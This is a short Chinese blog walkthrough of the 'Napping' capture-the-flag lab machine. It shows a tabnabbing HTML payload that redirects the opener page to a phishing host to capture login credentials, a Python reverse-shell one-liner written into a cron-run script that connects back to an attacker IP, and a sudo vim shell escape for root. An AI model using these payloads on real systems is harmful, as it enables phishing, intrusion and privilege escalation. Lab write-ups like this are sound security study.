noone___'s blog
0%

学长的任务罢了2-Napping

发表于 更新于 分类于
我的中秋qwq

  • 扫描打点

    朴实的登录和注册页面，随便注册个号进去看看

    坐牢 $40$ 分钟后看题解

    看到这里

    这个地方有 Tabnabbing 攻击

    1
    2
    3
    4
    使用正常网站A的a标签设置为恶意网站B，恶意网站B中利用window.opener修改原先页面A页面，进而无征兆把访问正常网站A页面修改为钓鱼网站C页面。
    两个可以利用点：
    1、使用a标签，并且target=_blank,没有使用rel="noopener/noreferrer"属性
    2、使用window.open

    简单来说，创建两个网站：

    1
    2
    3
    4
    5
    6
    7
    8
    <!DOCTYPE html>
    <html>
    <body>
        <script> 
            if(window.opener) window.opener.parent.location.replace('http://192.168.56.101:1234/1.html');
        </script>
    </body>
    </html>

    开 python 服务器，然后在网页那里填 http://192.168.56.101:8000/bad.html

    同时监听 1234 端口，随后接到用户名和密码

    。。。那个 %40 是 @

    daniel:C@ughtm3napping123

    然后 ssh 连上去

  • 水平越权

    看到当前用户属于 administrator 组的

    find / -group administrators 2>/dev/null 看看当前组可运行的程序

    找到这个是两分钟定时运行的文件

    而且可以直接改写这个文件

    1
    import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.101",444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

    监听端口就连上了

  • 简单的提权

    然后 sudo -l 发现 vim 可以提权

    搜了一下 sudo vim -c ':!/bin/sh' 秒了